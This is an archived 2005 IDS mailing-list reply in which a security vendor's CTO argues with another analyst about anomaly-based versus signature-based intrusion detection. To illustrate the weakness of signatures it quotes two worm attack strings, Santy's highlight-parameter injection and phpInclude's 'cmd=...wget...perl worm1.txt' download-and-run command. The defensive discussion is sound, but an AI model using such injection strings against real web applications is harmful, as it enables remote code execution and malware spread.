RE: Specification-based Anomaly Detection

From: Ofer Shezaf (Ofer.Shezaf_at_breach.com)
Date: 01/14/05

  • Next message: Ofer Shezaf: "RE: IDS event filtering" 
    Date: Thu, 13 Jan 2005 21:22:31 -0500
To: "Kohlenberg, Toby" <toby.kohlenberg@intel.com>, "Stefano Zanero" <zanero@elet.polimi.it>, <roberto.perdisci@gmail.com>

    on Tuesday, January 11 Kohlenberg, Toby wrote:
    >
    > All opinions are my own and in no way reflect the views of my
    employer.
    >
    > I was going to stay out of this rendition of this debate but...
    >
    > >-----Original Message-----
    > >From: Ofer Shezaf [mailto:Ofer.Shezaf@breach.com]
    > >Sent: Sunday, January 09, 2005 3:53 PM
    > >To: Stefano Zanero; roberto.perdisci@gmail.com
    > >Cc: focus-ids@lists.securityfocus.com
    > >Subject: RE: Specification-based Anomaly Detection
    > >
    > >
    > >Hi Thomas & Stefano,
    > >
    > >I agree that anomaly detection is a new-comer to IDS, and in many
    cases
    > >not a mature technology. But I think that due to the inherent
    > >shortcomings of signatures, it has to be considered seriously.
    >
    > What exactly is your definition of "new-comer"? Seeing as anomaly
    > detection
    > has been discussed and studied for at least 15 years as far I know...

    I stand corrected: only meant that commercial applications are
    relatively new. Signature based IDS is here for the last decade I
    believe, while I think that anomaly based techniques found their way to
    products just in the last couple of years.
     
    >
    > >As one of you mentioned, the main disadvantage of signatures
    > >is zero day
    > >attacks. As I see it, the significance of zero day attacks is way
    > >underrated. Zero day attacks usually refer to abusing of
    > >vulnerabilities
    > >before a patch or a signature has been issued, but there are those
    > >"perpetual" zero day attacks - the bugs in the software of a specific
    > >web site.
    > >
    > >The recent "phpInclude" worm is a very good example of exploitation
    of
    > >such "perpetual" zero day attacks. The worm itself can be detected by
    > >signatures as, being a publicly available code, it includes some
    > >repeating patterns. On the other hand the same the same techniques
    can
    > >be (and probably are) used by "none worm" crawlers or even manually
    to
    > >attack specific sites, and are not be detected by signatures.
    >
    > I'm not sure I follow the argument about "perpetual zero day". It
    sounds
    > like a problem of poor signature writing. Could you expand a little
    more
    > on why this is a problem for signature-based approaches as opposed to
    > anomaly-based approaches?

    It is definitely a problem of poor writing. Unfortunately there are tons
    of poorly written code out there and more to come.

    "PhpInclude" and Santy, its predecessor, are application layer attacks.
    They stretch signature based technology to its limits and require
    signatures that are easy to evade and are prone to generate false
    positives.

    Just think how many different ways the Santy attack vector used as a
    snort signature <<<'&highlight=%2527%252Esystem('>>> can be modified to
    evade an IDS (manually or automatically).

    "PhpInclude" is even more interesting as it does not address a specific
    vulnerability but tries to exploit a known flawed technique used to
    write PHP code. It tries to change arbitrary parameters of a PHP script
    to a command injection string, expecting that in some cases these
    parameters will be used in a PHP include statement. It is probably the
    first worm to exploit a OWASP top 10 security problem and not a specific
    voluntarily.

    The "phpInclude" attack vector is varying but has the general form
    <<<cmd=cd /tmp;wget *server*/spybot.txt;wget *server*/worm1.txt; perl
    worm1.txt>>>. A signature based system may look for the signatures such
    as "perl", "cmd" or "wget" but they are way too short and simplistic to
    evade false positives.

    ###
    "Santy" and "phpInclude" emphasize the need for real application
    security measurements such as code review, application layer scanning
    and real time application layer security.

    An interesting solution for real time protection is application layer
    signatures. Such signatures predict better application layer attacks. To
    do so they have to be contextual (i.e. confined to field values),
    normalized and correlated to other attack indicators such as abnormal
    behavior or multiple signature match during the session's requests and
    responses.

    While I'm not writing this all as a marketing pitch, some of these ideas
    are implemented in my company's products ;-) I'd be happy to hear what
    the other pros here have to say about this.

    >
    > >2. On the network layer, network profiling analyzes the normal
    behavior
    > >of users (i.e traffic), while in the application layer we also
    profile
    > >the normal behavior of the application.
    > >
    > >Saying that, anomaly itself usually identifies that something is
    wrong
    > >but not what is wrong. We use two important additional mechanisms to
    > >derive actionable information:
    >
    > What is your basis for saying that anomaly detection usually detects
    > that
    > something is wrong? I've never seen an anomaly detection system that
    > detects things that are "wrong", by definition they only detect that
    > something is _different_.
    > The assumption that that is always something wrong is one of the basic
    > problems with how people implement anomaly-based solutions in my
    > opinion.
    >

    You are right there; my wording was not very good. Actually you put it
    very well: instead of using my terms of "something wrong" and "what is
    wrong", I should have said that abnormal detection finds that something
    is different, but further analysis has to be done to determine if it is
    wrong. This is why my company's product employs additional detection
    techniques to

    > toby
    >
    > Toby Kohlenberg, CISSP, GCIH, GCIA
    > Senior Information Security Analyst
    > Applied Security Technology Team
    > Intel Corporate Information Security
    > 503-712-8588 Office & Voicemail
    > 877-497-1696 Pager
    > "Just because you're paranoid, doesn't mean they're not after you."
    >
    > PGP Fingerprint:
    > 92E2 E2FC BB8B 98CD 88FA 01A1 6E09 B5BA 9E84 9E70
    >
    >
    ------------------------------------------------------------------------ 

    --
> Test Your IDS
> 
> Is your IDS deployed correctly?
> Find out quickly and easily by testing it with real-world attacks from
> CORE IMPACT.
> Go to
http://www.securityfocus.com/sponsor/CoreSecurity_focus-ids_040708
> to learn more.
>
------------------------------------------------------------------------
--
> 
Ofer Shezaf
CTO, Breach Security
Tel: +972.9.956.0036 ext.212
Cell: +972.54.443.1119
ofers@breach.com
http://www.breach.com 
--------------------------------------------------------------------------
Test Your IDS
Is your IDS deployed correctly?
Find out quickly and easily by testing it with real-world attacks from 
CORE IMPACT.
Go to http://www.securityfocus.com/sponsor/CoreSecurity_focus-ids_040708 
to learn more.
--------------------------------------------------------------------------
  • Next message: Ofer Shezaf: "RE: IDS event filtering"

    Relevant Pages

    • RE: Specification-based Anomaly Detection
      ... >shortcomings of signatures, it has to be considered seriously. ... the significance of zero day attacks is way ... What is your basis for saying that anomaly detection usually detects ...
      (Focus-IDS)
    • AW: Changes in IDS Companies?
      ... So I take it you have configured your NIPS to block all might-be attacks, ... How can he fine-tune the GIDS without knowledge of the infrastructure behind the ... these signatures. ...
      (Focus-IDS)
    • Re: CVE selection for IDS/IPS signature rules
      ... signatures for each one of them. ... overflow attacks using few signatures. ... reasons you could see some discrepancy between CVE IDs and signatures. ... machines within same network. ...
      (Focus-IDS)
    • Re: IPS comparison
      ... The only *static* signatures used are the AV, Spyware, IM, and ... In fact all vendors who claim the ability to stop 0-day attacks do so ... fragmented attacks using fragroute-with and without load, ...
      (Pen-Test)
    • [REVS] Rules Definition for Anomaly Based Intrusion Detection
      ... Beyond Security would like to welcome Tiscali World Online ... The below paper discusses using Snort as an anomaly based IDS, ... at detecting already known attacks by analyzing traffic flow and looking ... construction updating and modifying attack signatures and requiring paying ...
      (Securiteam)